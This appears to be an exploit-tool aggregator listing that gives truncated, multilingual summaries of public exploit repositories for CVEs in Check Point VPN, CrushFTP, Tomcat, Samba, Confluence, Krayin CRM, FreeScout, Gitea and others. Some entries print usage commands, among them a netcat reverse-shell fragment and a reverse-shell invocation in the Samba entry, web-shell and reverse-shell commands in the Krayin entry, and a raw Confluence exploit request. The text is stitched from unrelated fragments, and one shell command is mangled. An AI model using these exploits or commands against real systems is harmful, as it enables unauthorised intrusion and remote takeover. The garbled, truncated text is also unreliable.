CVE-2024-24919-Check-Point-Remote-Access-VPN

CVE-2024-24919-Check-Point-Remote-Access-VPN CVE-2024-24919 هي ثغرة قراءة ملفات عشوائية بدون مصادقة، ولا يمكن اعتبارها أقل من ثغرة تنفيذ أوامر عن بُعد RCE كاملة بدون مصادقة. يمكن للمهاجم قراءة أي ملفات حساسة موجودة على الجهاز المتأثر بصلاحيات superuser. يمكن للمهاجم استرجاع محتويات ملف ntds.dit أ...

CVE-2024-4040-CrushFTP-server

CVE-2024-4040-CrushFTP-server CrushFTP هو خادم نقل ملفات خاص متعدد البروتوكولات ومتعدد المنصات. CVE-2024-4040 - ثغرة حقن القوالب من جانب الخادم في CrushFTP بجميع الإصدارات قبل 10.7.1 و11.1.0 على جميع المنصات تسمح للمهاجمين عن بُعد غير المصادَق عليهم بقراءة أي ملفات من نظام الملفات خارج VFS...

CVE-2024-38856-ApacheOfBiz

CVE-2024-38856-ApacheOfBiz Apache OFBiz هو نظام مفتوح المصدر لتخطيط موارد المؤسسات. يوفر مجموعة من تطبيقات المؤسسات التي تدمج وتؤتمت العديد من العمليات التجارية للمؤسسة. CVE-2024-38856 هو ثغرة قبل المصادقة في Apache OFBiz يمكن أن تؤدي إلى تنفيذ التعليمات البرمجية عن بُعد. الإصدارات المتأثرة :...

CVE-2024-4879-ServiceNow

CVE-2024-4879-ServiceNow ServiceNow هي منصة للتحول في الأعمال تساعد الشركات على إدارة سير العمل الرقمية لعمليات المؤسسات. CVE-2024-4879 قد تسمح لمستخدم غير مصادق بتنفيذ تعليمات برمجية عن بُعد داخل منصة Now. تستغل هذه الثغرة ثلاث مشكلات عبر ربطها معًا: حقن العنوان، وتجاوز تخفيف حقن القوالب، وتجاوز...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Outil graphique d'exploitation de l'écriture arbitraire de fichiers via la méthode PUT de Tomcat CVE-2017-12615 Présentation de la vulnérabilité Le 19 septembre 2017, Apache Tomcat a officiellement confirmé et corrigé deux vulnérabilités critiques, référencées CVE-2017-12615 et...

CVE-2017-9791

CVE-2017-9791 Module Metasploit pour Apache Struts CVE-2017-9791 Vulnérabilité d'exécution de code à distance...

CVE-2018-15961

CVE-2018-15961 - Adobe ColdFusion 2018 RCE यह रिपॉजिटरी Adobe ColdFusion 2018 में RCE भेद्यता के लिए मेरे एक्सप्लॉइट कोड को शामिल करता है। एक्सप्लॉइट विवरण एक्सप्लॉइट /cfscripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm पर एक JSP रिवर्स शेल युक्त POST अनुरोध भेजता है। यदि सफल होता है, ...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f Использование root@kitploit: Эксплуатируем цель 10.129.232.46 на порту 445, отправляем обратную оболочку на 10.10.14.82 порт 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 С указанием своих rport и lport python3...

rails-activestorage-vips-audit

rails-activestorage-vips-audit An Agent Skill that audits Ruby on Rails repositories for exposure to CVE-2026-66066 KindaRails2Shell — the Active Storage libvips variant-processing vulnerability that allows arbitrary file read and, in a Rails application, remote code execution. The skill is a...

CVE-2024-4577-PHP-RCE

CVE-2024-4577-PHP-RCE مقدمة المشروع والمبدأ أول EXP في العالم يستغل ثغرة CVE-2024-4577 PHP-CGI RCE باستخدام بيئة PHP الافتراضية XAMPP. أول استغلال في العالم لثغرة CVE-2024-4577 PHP-CGI RCE باستخدام بيئة PHP الافتراضية. يشارك الاستغلال الأصلي، ويدعم SSRF، ويدعم تجاوز WAF. تحقيق RCE في بيئة PHP...

SDT_CW3B1_rce

SDTCW3B1rce CVE-2021-46422 Installation root@kitploit: git clone https://github.com/xanszZZ/SDTCW3B1rce cd SDTCW3B1rce Utilisation Cet outil est un PoC écrit selon les spécifications de développement du framework pocsuite3. Avant d'utiliser, veuillez télécharger pocsuite3. Adresse du projet...

CVE-2021-42013-ApacheRCE

CVE-2021-42013-ApacheRCE...

CVE-2019-0193

CVE-2019-0193 रिमोट कोड निष्पादन...

CVE-2019-13025

Connect Box CH7465LG CVE-2019-13025 المعلومات يحتوي هذا المستودع على اثنين من PoCs لـ Connect Box CH7465LG الذي يعمل على البرامج الثابتة CH7465LG-NCIP-6.12.18.24-5p8-NOSH أو أقدم. لمزيد من المعلومات، ألقِ نظرة على مدونتي. الاستخدام تنفيذ الأوامر عن بُعد بدون مصادقة $ python3 poc-rce.py كشف...

CVE-2026-38526

CVE-2026-38526 - Krayin CRM RCE الوصف نص برهان المفهوم PoC لثغرة حرجة في Krayin CRM v2.2.x تسمح بتنفيذ الأوامر عن بُعد RCE عبر تحميل ملف غير مقيد. الاستخدام root@kitploit: Web shell python3 exploit.py -u http://target.com -e [email protected] -p password123 Reverse shell python3 exploit.py -...

CVE-2025-24813

وصف هذا المستودع هو البيئة المخصصة لإعادة إنتاج ثغرة RCE الأخيرة في Tomcat CVE-2025-24813. للاستخدام التعليمي والبحثي فقط! شروط الاستغلال يقوم التطبيق بتمكين ميزة الكتابة لـ DefaultServlet، والتي تكون معطلة افتراضيًا. يدعم التطبيق طلبات PUT الجزئية partial PUT، مما يسمح بكتابة بيانات تسلسل ضارة إ...

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — استيلاء مجهول على حساب في FreeScout → تنفيذ تعليمات برمجية عن بُعد RCE تنفيذ تعليمات برمجية عن بُعد دون مصادقة في FreeScout ≤ 1.8.223 نظام دعم فني مبني على Laravel عبر ربط ثغرتين، وكلتاهما أُصلحتا في 1.8.224 : CVE-2026-53595 — استيلاء مجهول على الحساب. يختار POST...

CVE-2026-13157

CVE-2026-13157 Theme Demo Import false أثناء معالجة الرفع. يمكن لمستخدم موثَّق يمتلك صلاحيات الاستيراد — مثل مسؤول الموقع الافتراضي أو مسؤول موقع غير Super Admin في بنية ووردبريس متعددة المواقع Multisite — تجاوز إنفاذ قيود الملفات لرفع نصوص PHP قابلة للتنفيذ بشكل تعسفي مباشرةً إلى الدليل العام...

CVE-2019-3396

CVE-2019-3396 Confluence Widget Connector पथ ट्रैवर्सल CVE-2019-3396 RCE POC root@kitploit: POST /rest/tinymce/1/macro/preview HTTP/1.1 Host: x.x.x.x Connection: close Accept-Encoding: gzip, deflate Accept: / User-Agent: Mozilla/5.0 X11; Linux x8664; rv:60.0 Gecko/20100101 Firefox/60.0...

CVE-2022-30781

🍵 CVE-2022-30781 استغلال تنفيذ الأوامر عن بُعد عبر ترحيل المستودع في Gitea. كيفية الاستخدام 1. قم بتشغيل خادم نظام ملفات HTTP مع الملفات الموجودة في هذا المستودع. 2. قم بتعديل الأمر الذي سيتم تنفيذه في api/v1/repos/e99/exp/pulls/1/index.html L96. 3. قم بترحيل مستودع بعيد باستخدام الرابط...